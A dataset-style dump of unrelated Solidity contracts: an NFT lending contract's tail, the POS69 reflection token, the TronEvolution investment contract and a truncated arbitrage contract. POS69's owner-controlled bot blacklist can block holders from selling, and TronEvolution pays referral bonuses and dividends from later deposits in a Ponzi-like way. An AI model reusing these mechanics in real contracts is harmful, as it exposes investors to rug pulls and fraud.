maximumLoanDuration = _newMaximumLoanDuration;
}
function updateMaximumNumberOfActiveLoans(uint256 _newMaximumNumberOfActiveLoans) external onlyOwner {
maximumNumberOfActiveLoans = _newMaximumNumberOfActiveLoans;
}
function updateAdminFee(uint256 _newAdminFee) external onlyOwner {
require(_newAdminFee <= 10000, 'By definition, basis points cannot exceed 10000');
adminFee = _newAdminFee;
emit AdminFeeUpdated(_newAdminFee);
}
function updateRoyaltyFeeManager(address _royaltyFeeManager) external onlyOwner {
require(_royaltyFeeManager != address(0), "Owner: Cannot be null address");
royaltyFeeManager = IRoyaltyFeeManager(_royaltyFeeManager);
emit NewRoyaltyFeeManager(_royaltyFeeManager);
}
//View
function isValidBorrowerSignature(uint256 _nftCollateralId,
uint256 _borrowerNonce,
address _nftCollateralContract,
address _borrower,
uint256 _expireTime,
bytes memory _borrowerSignature) public view returns(bool) {
if(_borrower == address(0)){
return false;
} else {
uint256 chainId;
chainId = getChainID();
BorrowerOrder memory order = BorrowerOrder({
nftCollateralId: _nftCollateralId,
borrowerNonce: _borrowerNonce,
nftCollateralContract: _nftCollateralContract,
borrower: _borrower,
expireTime: _expireTime,
chainId: chainId
});
bytes32 messageWithEthSignPrefix = borrowerHashToSign(order);
if(block.timestamp < _expireTime){
return (messageWithEthSignPrefix.recover(_borrowerSignature) == _borrower);
}else{
return false;
}
}
}
function isValidLenderSignature(uint256 _loanPrincipalAmount,
uint256 _repaymentAmount,
uint256 _nftCollateralId,
uint256 _loanDuration,
uint256 _adminFee,
uint256 _lenderNonce,
address[2] memory _nftCollateralContractAndloanERC20,
address _lender,
uint256 _expireTime,
bytes memory _lenderSignature) public view returns(bool) {
if(_lender == address(0)){
return false;
} else {
uint256 chainId;
chainId = getChainID();
LenderOrder memory order = LenderOrder({
loanPrincipalAmount: _loanPrincipalAmount,
repaymentAmount: _repaymentAmount,
nftCollateralId: _nftCollateralId,
loanDuration: _loanDuration,
adminFee: _adminFee,
lenderNonce: _lenderNonce,
nftCollateralContract: _nftCollateralContractAndloanERC20[0],
loanERC20: _nftCollateralContractAndloanERC20[1],
lender: _lender,
expireTime: _expireTime,
chainId: chainId
});
bytes32 messageWithEthSignPrefix = lenderHashToSign(order);
if(block.timestamp < _expireTime){
return (messageWithEthSignPrefix.recover(_lenderSignature) == _lender);
}else{
return false;
}
}
}
function getNonceIsUsed(address _user, uint256 _nonce) public view returns (bool) {
return _nonceOfSigning[_user][_nonce];
}
function getChainID() public view returns (uint256) {
uint256 id;
assembly {
id := chainid()
}
return id;
}
//Internal
function _computeAdminFee(uint256 _interestDue, uint256 _adminFee) internal pure returns (uint256) {
return (_interestDue.mul(_adminFee)).div(10000);
}
function _transferNftToAddress(address _nftContract, uint256 _nftId, address _recipient) internal returns (bool) {
// Agree that the ERC-721 contract is willing to let this contract transfer
_nftContract.call(abi.encodeWithSelector(IERC721(_nftContract).approve.selector, address(this), _nftId));
(bool success,) = _nftContract.call(abi.encodeWithSelector(IERC721(_nftContract).transferFrom.selector, address(this), _recipient, _nftId));
return success;
}
function _deriveDomainSeparator() private view returns (bytes32) {
uint256 chainId;
chainId = getChainID();
return keccak256(abi.encode(_EIP_712_DOMAIN_TYPEHASH, // keccak256("EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)")
_NAME_HASH, // keccak256("MantleFinanceV1")
_VERSION_HASH, // keccak256(bytes("1"))
chainId, // NOTE: this is fixed, need to use solidity 0.5+ or make external call to support!
address(this)));
}
function borrowerHashToSign(BorrowerOrder memory order)
internal
view
returns (bytes32)
{
return keccak256(abi.encodePacked("\x19\x01", _deriveDomainSeparator(), keccak256(abi.encode(_BORROWER_TYPEHASH,order))));
}
function lenderHashToSign(LenderOrder memory order)
internal
view
returns (bytes32)
{
return keccak256(abi.encodePacked("\x19\x01", _deriveDomainSeparator(), keccak256(abi.encode(_LENDER_TYPEHASH,order))));
}
function setBaseURI(string memory baseURI_) external onlyOwner {
_baseURIExtended = baseURI_;
}
function _baseURI() internal view virtual override returns (string memory) {
return _baseURIExtended;
}
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
require(_exists(tokenId), 'ERC721Metadata: URI query for nonexistent token');
return string(abi.encodePacked(_baseURI(), tokenId.toString()));
}
function pause() public onlyOwner whenNotPaused {
_pause();
emit Paused(msg.sender);
}
function unpause() public onlyOwner whenPaused {
_unpause();
emit Unpaused(msg.sender);
}
fallback() external payable {
revert();
}
}
| 156,417 | 13,115 |
1f01780b0d37f2a880f237d6307f02082311cd338d4ebb02f3a8e6a27f851571
| 14,029 |
.sol
|
Solidity
| false |
606585904
|
plotchy/defi-detective
|
f48830b1085dac002283a2ce5e565e341aab5d0c
|
00byaddress/00a50e70F4162B81c13c2c36C0DC7FaC852dcd82.sol
| 3,742 | 13,385 |
// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.7;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract POS69 is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 10_000_000 * 10**8;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _feeAddr1;
uint256 private _feeAddr2;
uint256 private _initialTax;
uint256 private _finalTax;
uint256 private _reduceTaxCountdown;
address payable private _feeAddrWallet;
string private constant _name = "PoS-69";
string private constant _symbol = "POS69";
uint8 private constant _decimals = 8;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = 200_000 * 10**8;
uint256 private _maxWalletSize = 300_000 * 10**8;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_feeAddrWallet = payable(_msgSender());
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_feeAddrWallet] = true;
_initialTax=7;
_finalTax=1;
_reduceTaxCountdown=60;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function addBot(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
require(!bots[from] && !bots[to]);
_feeAddr1 = 0;
_feeAddr2 = (_reduceTaxCountdown==0)?_finalTax:_initialTax;
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
// Cooldown
require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize.");
if(_reduceTaxCountdown>0){_reduceTaxCountdown--;}
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled && contractTokenBalance>0 && _reduceTaxCountdown<50) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}else{
_feeAddr1 = 0;
_feeAddr2 = 0;
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(tokenAmount,
0,
path,
address(this),
block.timestamp);
}
function removeLimits() external onlyOwner{
_maxTxAmount = _tTotal;
_maxWalletSize = _tTotal;
}
function sendETHToFee(uint256 amount) private {
_feeAddrWallet.transfer(amount);
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() external {
require(_msgSender() == _feeAddrWallet);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _feeAddrWallet);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
}
| 344,668 | 13,116 |
ac2101d0b31c4d3bb2de99ffdcae39dd5bce6d4d92d5ee2f8a2943c0080b874e
| 14,069 |
.sol
|
Solidity
| false |
453466497
|
tintinweb/smart-contract-sanctuary-tron
|
44b9f519dbeb8c3346807180c57db5337cf8779b
|
contracts/mainnet/TG/TGCSMSe6rptG8wabxMUD7awnMKbrUt1rDF_TronEvolution.sol
| 3,475 | 10,558 |
//SourceUnit: TronEvolution.sol
pragma solidity 0.5.9;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
contract TronEvolution {
using SafeMath for uint256;
uint256 constant public INVEST_MIN_AMOUNT = 100 trx;
uint256 constant public INVEST_MAX_AMOUNT = 50000 trx;
uint256 constant public BASE_PERCENT = 10;
uint256[] public REFERRAL_PERCENTS = [30, 20, 10];
uint256 constant public MARKETING_FEE = 60;
uint256 constant public PROJECT_FEE = 40;
uint256 constant public PERCENTS_DIVIDER = 1000;
uint256 constant public CONTRACT_BALANCE_STEP = 1000000 trx;
uint256 constant public TIME_STEP = 1 days;
uint256 public totalUsers;
uint256 public totalInvested;
uint256 public totalWithdrawn;
uint256 public totalDeposits;
address payable public marketingAddress;
address payable public projectAddress;
struct Deposit {
uint256 amount;
uint256 withdrawn;
uint256 start;
}
struct User {
Deposit[] deposits;
uint256 checkpoint;
address referrer;
uint256 bonus;
uint256 level1;
uint256 level2;
uint256 level3;
}
mapping (address => User) internal users;
event Newbie(address user);
event NewDeposit(address indexed user, uint256 amount);
event Withdrawn(address indexed user, uint256 amount);
event RefBonus(address indexed referrer, address indexed referral, uint256 indexed level, uint256 amount);
event FeePayed(address indexed user, uint256 totalAmount);
constructor(address payable marketingAddr, address payable projectAddr) public {
require(!isContract(marketingAddr) && !isContract(projectAddr));
marketingAddress = marketingAddr;
projectAddress = projectAddr;
}
function invest(address referrer) public payable {
require(msg.value >= INVEST_MIN_AMOUNT);
if (msg.value <= INVEST_MAX_AMOUNT){
marketingAddress.transfer(msg.value.mul(MARKETING_FEE).div(PERCENTS_DIVIDER));
projectAddress.transfer(msg.value.mul(PROJECT_FEE).div(PERCENTS_DIVIDER));
emit FeePayed(msg.sender, msg.value.mul(MARKETING_FEE.add(PROJECT_FEE)).div(PERCENTS_DIVIDER));
User storage user = users[msg.sender];
if (user.referrer == address(0) && users[referrer].deposits.length > 0 && referrer != msg.sender) {
user.referrer = referrer;
}
if (user.referrer != address(0)) {
address upline = user.referrer;
for (uint256 i = 0; i < 3; i++) {
if (upline != address(0)) {
uint256 amount = msg.value.mul(REFERRAL_PERCENTS[i]).div(PERCENTS_DIVIDER);
users[upline].bonus = users[upline].bonus.add(amount);
if(i == 0){
users[upline].level1 = users[upline].level1.add(1);
} else if(i == 1){
users[upline].level2 = users[upline].level2.add(1);
} else if(i == 2){
users[upline].level3 = users[upline].level3.add(1);
}
emit RefBonus(upline, msg.sender, i, amount);
upline = users[upline].referrer;
} else break;
}
}
if (user.deposits.length == 0) {
user.checkpoint = block.timestamp;
totalUsers = totalUsers.add(1);
emit Newbie(msg.sender);
}
user.deposits.push(Deposit(msg.value, 0, block.timestamp));
totalInvested = totalInvested.add(msg.value);
totalDeposits = totalDeposits.add(1);
emit NewDeposit(msg.sender, msg.value);
}
}
function withdraw() public {
User storage user = users[msg.sender];
uint256 userPercentRate = getUserPercentRate(msg.sender);
uint256 totalAmount;
uint256 dividends;
for (uint256 i = 0; i < user.deposits.length; i++) {
if (user.deposits[i].withdrawn < user.deposits[i].amount.mul(2)) {
if (user.deposits[i].start > user.checkpoint) {
dividends = (user.deposits[i].amount.mul(userPercentRate).div(PERCENTS_DIVIDER))
.mul(block.timestamp.sub(user.deposits[i].start))
.div(TIME_STEP);
} else {
dividends = (user.deposits[i].amount.mul(userPercentRate).div(PERCENTS_DIVIDER))
.mul(block.timestamp.sub(user.checkpoint))
.div(TIME_STEP);
}
if (user.deposits[i].withdrawn.add(dividends) > user.deposits[i].amount.mul(2)) {
dividends = (user.deposits[i].amount.mul(2)).sub(user.deposits[i].withdrawn);
}
user.deposits[i].withdrawn = user.deposits[i].withdrawn.add(dividends); /// changing of storage data
totalAmount = totalAmount.add(dividends);
}
}
uint256 referralBonus = getUserReferralBonus(msg.sender);
if (referralBonus > 0) {
totalAmount = totalAmount.add(referralBonus);
user.bonus = 0;
}
require(totalAmount > 0, "User has no dividends");
uint256 contractBalance = address(this).balance;
if (contractBalance < totalAmount) {
totalAmount = contractBalance;
}
user.checkpoint = block.timestamp;
msg.sender.transfer(totalAmount);
totalWithdrawn = totalWithdrawn.add(totalAmount);
emit Withdrawn(msg.sender, totalAmount);
}
function getContractBalance() public view returns (uint256) {
return address(this).balance;
}
function getContractBalanceRate() public view returns (uint256) {
uint256 contractBalance = address(this).balance;
uint256 contractBalancePercent = contractBalance.div(CONTRACT_BALANCE_STEP);
return BASE_PERCENT.add(contractBalancePercent);
}
function getUserPercentRate(address userAddress) public view returns (uint256) {
User storage user = users[userAddress];
uint256 contractBalanceRate = getContractBalanceRate();
if (isActive(userAddress)) {
uint256 timeMultiplier = (now.sub(user.checkpoint)).div(TIME_STEP);
return contractBalanceRate.add(timeMultiplier);
} else {
return contractBalanceRate;
}
}
function getUserDividends(address userAddress) public view returns (uint256) {
User storage user = users[userAddress];
uint256 userPercentRate = getUserPercentRate(userAddress);
uint256 totalDividends;
uint256 dividends;
for (uint256 i = 0; i < user.deposits.length; i++) {
if (user.deposits[i].withdrawn < user.deposits[i].amount.mul(2)) {
if (user.deposits[i].start > user.checkpoint) {
dividends = (user.deposits[i].amount.mul(userPercentRate).div(PERCENTS_DIVIDER))
.mul(block.timestamp.sub(user.deposits[i].start))
.div(TIME_STEP);
} else {
dividends = (user.deposits[i].amount.mul(userPercentRate).div(PERCENTS_DIVIDER))
.mul(block.timestamp.sub(user.checkpoint))
.div(TIME_STEP);
}
if (user.deposits[i].withdrawn.add(dividends) > user.deposits[i].amount.mul(2)) {
dividends = (user.deposits[i].amount.mul(2)).sub(user.deposits[i].withdrawn);
}
totalDividends = totalDividends.add(dividends);
/// no update of withdrawn because that is view function
}
}
return totalDividends;
}
function getUserCheckpoint(address userAddress) public view returns(uint256) {
return users[userAddress].checkpoint;
}
function getUserReferrer(address userAddress) public view returns(address) {
return users[userAddress].referrer;
}
function getUserDownlineCount(address userAddress) public view returns(uint256, uint256, uint256) {
return (users[userAddress].level1, users[userAddress].level2, users[userAddress].level3);
}
function getUserReferralBonus(address userAddress) public view returns(uint256) {
return users[userAddress].bonus;
}
function getUserAvailableBalanceForWithdrawal(address userAddress) public view returns(uint256) {
return getUserReferralBonus(userAddress).add(getUserDividends(userAddress));
}
function isActive(address userAddress) public view returns (bool) {
User storage user = users[userAddress];
if (user.deposits.length > 0) {
if (user.deposits[user.deposits.length-1].withdrawn < user.deposits[user.deposits.length-1].amount.mul(2)) {
return true;
}
}
}
function getUserDepositInfo(address userAddress, uint256 index) public view returns(uint256, uint256, uint256) {
User storage user = users[userAddress];
return (user.deposits[index].amount, user.deposits[index].withdrawn, user.deposits[index].start);
}
function getUserAmountOfDeposits(address userAddress) public view returns(uint256) {
return users[userAddress].deposits.length;
}
function getUserTotalDeposits(address userAddress) public view returns(uint256) {
User storage user = users[userAddress];
uint256 amount;
for (uint256 i = 0; i < user.deposits.length; i++) {
amount = amount.add(user.deposits[i].amount);
}
return amount;
}
function getUserTotalWithdrawn(address userAddress) public view returns(uint256) {
User storage user = users[userAddress];
uint256 amount;
for (uint256 i = 0; i < user.deposits.length; i++) {
amount = amount.add(user.deposits[i].withdrawn);
}
return amount;
}
function isContract(address addr) internal view returns (bool) {
uint size;
assembly { size := extcodesize(addr) }
return size > 0;
}
function getHoldBonus(address userAddress) public view returns(uint256) {
if(getUserCheckpoint(userAddress) == 0){
return (block.timestamp.sub(users[userAddress].checkpoint)).mod(24);
}else {
return 0;
}
}
}
| 298,603 | 13,117 |
720c3c5f876d3eb79c02cf78a0833aa6ab51dae68ef52600f4fe969e8419eb04
| 11,152 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/testnet/63/63b75f8ba3797c458e410f943642747897a2e258_arb.sol
| 2,592 | 10,350 |
pragma solidity 0.6.0;
interface IRouter {
function factory() external pure returns (address);
function WTRX() external pure returns (address);
function addLiquidity(address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityTRX(address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountTRXMin,
address to,
uint deadline) external payable returns (uint amountToken, uint amountTRX, uint liquidity);
function removeLiquidity(address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline) external returns (uint amountA, uint amountB);
function removeLiquidityTRX(address token,
uint liquidity,
uint amountTokenMin,
uint amountTRXMin,
address to,
uint deadline) external returns (uint amountToken, uint amountTRX);
function removeLiquidityWithPermit(address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s) external returns (uint amountA, uint amountB);
function removeLiquidityTRXWithPermit(address token,
uint liquidity,
uint amountTokenMin,
uint amountTRXMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s) external returns (uint amountToken, uint amountTRX);
function swapExactTokensForTokens(uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline) external returns (uint[] memory amounts);
function swapTokensForExactTokens(uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline) external returns (uint[] memory amounts);
function swapExactTRXForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function swapTokensForExactTRX(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapExactTokensForTRX(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapTRXForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
interface IUniswapV2Pair {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
event Mint(address indexed sender, uint amount0, uint amount1);
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint);
function price1CumulativeLast() external view returns (uint);
function kLast() external view returns (uint);
function mint(address to) external returns (uint liquidity);
function burn(address to) external returns (uint amount0, uint amount1);
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
interface IAVAX20 {
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function allowance(address owner, address spender)
external view returns (uint256);
function transfer(address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value)
external returns (bool);
function transferFrom(address from, address to, uint256 value)
external returns (bool);
event Transfer(address indexed from,
address indexed to,
uint256 value);
event Approval(address indexed owner,
address indexed spender,
uint256 value);
}
interface IWAVAX {
function deposit() external payable;
function transfer(address to, uint value) external returns (bool);
function withdraw(uint) external;
}
library SafeMath {
function add(uint x, uint y) internal pure returns (uint z) {
require((z = x + y) >= x, 'ds-math-add-overflow');
}
function sub(uint x, uint y) internal pure returns (uint z) {
require((z = x - y) <= x, 'ds-math-sub-underflow');
}
function mul(uint x, uint y) internal pure returns (uint z) {
require(y == 0 || (z = x * y) / y == x, 'ds-math-mul-overflow');
}
}
contract arb {
using SafeMath for uint;
address payable private owner ;
address private WAVAX = address(0xB31f66AA3C1e785363F0875A1B74E27b85FD66c7);
fallback() external payable{
}
constructor() public {
owner = msg.sender;
}
function trade(address[] memory path , address[] memory pairs , uint256 amount, uint256 amount_out) public {
require(getAmountOut(path,pairs,amount) >= amount_out);
for (uint i = 0; i < pairs.length ; i++) {
if(path[i] == WAVAX && i == 0){
IWAVAX(WAVAX).deposit.value(amount)();
assert(IWAVAX(WAVAX).transfer(pairs[i], amount));
}
(address token0,) = sortTokens(path[i], path[i+1]);
(uint reserveIn, uint reserveOut) = getReserves(pairs[i] , path[i] , path[i+1]);
amount = calculate(amount, reserveIn, reserveOut);
